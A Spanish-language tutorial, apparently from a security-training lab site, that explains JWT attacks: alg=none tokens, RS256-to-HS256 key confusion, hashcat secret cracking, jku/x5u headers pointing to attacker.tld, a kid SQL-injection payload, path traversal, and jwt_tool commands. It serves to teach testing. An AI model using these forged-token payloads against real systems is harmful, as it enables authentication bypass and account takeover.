Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel IntermedioGratis

JWT — vulnerabilidades, bypasses y manipulación de claims

alg=none, RS256→HS256 confusion, kid SQLi/path traversal, jku spoofing, secret cracking con hashcat. Cómo cazar JWTs mal verificados.

Gorka El Bochi9 de mayo de 202613 min

Respuesta rápida

JWT (JSON Web Token) son strings firmados que contienen claims (user id, role, exp...). Si la firma se verifica mal o el algoritmo se acepta sin restricciones, el atacante puede forjar tokens. Las clases más explotadas: alg=none, RS256→HS256 confusion, secret crackable con hashcat, y manipulación de headers kid/jku/jwk cuando el servidor confía en valores controlados por el cliente.


Anatomía de un JWT

css
header.payload.signature

Cada parte es base64url. Ejemplo decodificado:

json
// Header
{ "alg": "HS256", "typ": "JWT" }

// Payload (claims)
{ "sub": "123", "user": "alice", "role": "user", "exp": 1735689600 }

Solo la firma garantiza integridad. Si el server no la verifica correctamente, el atacante modifica payload.role a admin y manda el token resultante.


Vulns clásicas

1. alg=none (CVE-2015-9235)

Cambiar el header a {"alg":"none"} y eliminar la firma:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.

Variantes que algunos backends aceptan: none, None, NONE, nOnE, NoNe. Probar todas.

2. RS256 → HS256 confusion (CVE-2016-5431)

El servidor usa RS256 (asimétrico). Si cambias alg a HS256 (simétrico) y firmas con la clave pública RSA usada como secret HMAC, algunos backends mal implementados verifican con la misma clave pública → bypass.

bash
# Obtener clave pública del servidor
openssl s_client -connect target.tld:443 | openssl x509 -pubkey -noout > pubkey.pem

# Forge token con jwt_tool
python3 jwt_tool.py <JWT> -X k -pk pubkey.pem

3. Secret crackable

JWTs HS256 con secrets débiles:

bash
hashcat -a 0 -m 16500 <jwt_token> /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 16500 <jwt_token> /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Si crackeas el secret, firmas tokens arbitrarios. Triunfa en apps con secret = "secret", "jwt_secret", nombres del producto, etc.

4. Modificar payload sin invalidar firma

Si el servidor decodifica el payload pero no verifica la firma (mal implementado), simplemente cambia el payload y manda. Test rápido: modifica role a admin y un caracter aleatorio en la firma; ¿pasa?

5. Header injection (jwk, jku, x5u)

Headers que apuntan a la clave o URL de claves. Si el servidor los respeta sin allowlist:

json
// jwk: clave pública embebida
{ "alg": "RS256", "jwk": { "kty": "RSA", "n": "<tu_n>", "e": "AQAB" } }

// jku: URL de JWKS
{ "alg": "RS256", "jku": "https://attacker.tld/.well-known/jwks.json" }

// x5u: URL de certificado X.509
{ "alg": "RS256", "x5u": "https://attacker.tld/cert.pem" }

El atacante hostea el JWKS/cert con su clave pública y firma con su clave privada. Si el server confía → forge total.


kid header bypasses

kid (Key ID) suele identificar qué clave usar. Si se inyecta en SQL o filesystem:

kid + SQLi

json
{ "alg": "HS256", "kid": "key1' UNION SELECT 'ATTACKER_CONTROLLED_SECRET' -- " }

Si el backend hace SELECT secret FROM keys WHERE id='<kid>', la inyección retorna un secret controlado. Firma el token con ese secret.

kid + Directory Traversal

json
{ "alg": "HS256", "kid": "../../../dev/null" }

Si el backend lee un archivo del filesystem como secret, leer /dev/null (vacío) → firma con string vacío. También probar archivos con contenido conocido.


JKU URL bypasses

Si el servidor valida el jku parcialmente (allowlist por contains/startsWith en lugar de URL parsing), probar:

bash
https://target.tld/.well-known/jwks.json   ← original
https://target.tld@attacker.tld/jwks.json
https://target.tld.attacker.tld/jwks.json
https://attacker.tld/target.tld/jwks.json
https://target.tld#attacker.tld/jwks.json
https://target.tld/.well-known/jwks.json?redirect=attacker.tld

Mismos bypasses que open redirect. Reusable casi 1:1.


Misc

Expiration abuse

makefile
exp: futuro lejano (3000-01-01)        → ¿se valida server-side?
exp: removed                            → ¿el token nunca expira?
nbf: pasado                             → activo desde antes

Si el server no valida exp, el token es eterno aunque la app lo ponga.

Cross-Service Relay

Si múltiples microservicios comparten la misma clave de firma, un token emitido por servicio A vale en servicio B. Buscar:

  • Microservicios que se autentican entre sí con JWT.
  • Entornos de staging que usan la misma clave que prod.
  • API internas que aceptan tokens del frontend público.

Sensitive data en payload

bash
echo "<JWT_PAYLOAD_BASE64>" | base64 -d | jq .

Buscar: passwords, API keys, PII, IPs internas, roles ocultos, secrets. El payload NO está cifrado, solo codificado.

Tokens hardcoded en código

  • Documentación API.
  • JS bundle del frontend (search eyJ, prefix de la mayoría de JWTs).
  • GitHub público (regex hunting).
  • Swagger / OpenAPI specs con ejemplos.

Tooling

jwt_tool.py automatiza casi todo:

bash
# All Tests mode (probar varios bypasses)
python3 jwt_tool.py <JWT_TOKEN> -M at -t "https://target.tld/api/endpoint" -rh "Authorization: Bearer"

# Tamper mode (modificar claims interactively)
python3 jwt_tool.py <JWT_TOKEN> -T

# Specific exploit (none, kid, jku, etc)
python3 jwt_tool.py <JWT_TOKEN> -X <exploit>

Burp + extension JWT Editor para manipular tokens en cada request.


Checklist de hunting

  • ¿El token se acepta con alg=none (todas las variantes)?
  • ¿El secret HMAC se crackea con rockyou + best64?
  • ¿RS256 → HS256 confusion funciona?
  • ¿jwk/jku/x5u se aceptan apuntando a dominio externo?
  • ¿kid se usa en query SQL o lectura de filesystem?
  • ¿El payload se puede modificar sin invalidar la firma?
  • ¿exp se valida server-side, o solo se mira en cliente?
  • ¿Hay PII o secrets en el payload?
  • ¿El token vale en otros servicios/entornos?
  • ¿Hay tokens de ejemplo en docs/JS/GitHub?

Labs relacionados

Practica alg=none, secret cracking y header injection sobre JWTs reales: labs de JWT.

Practica esto en un lab

Jwt

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados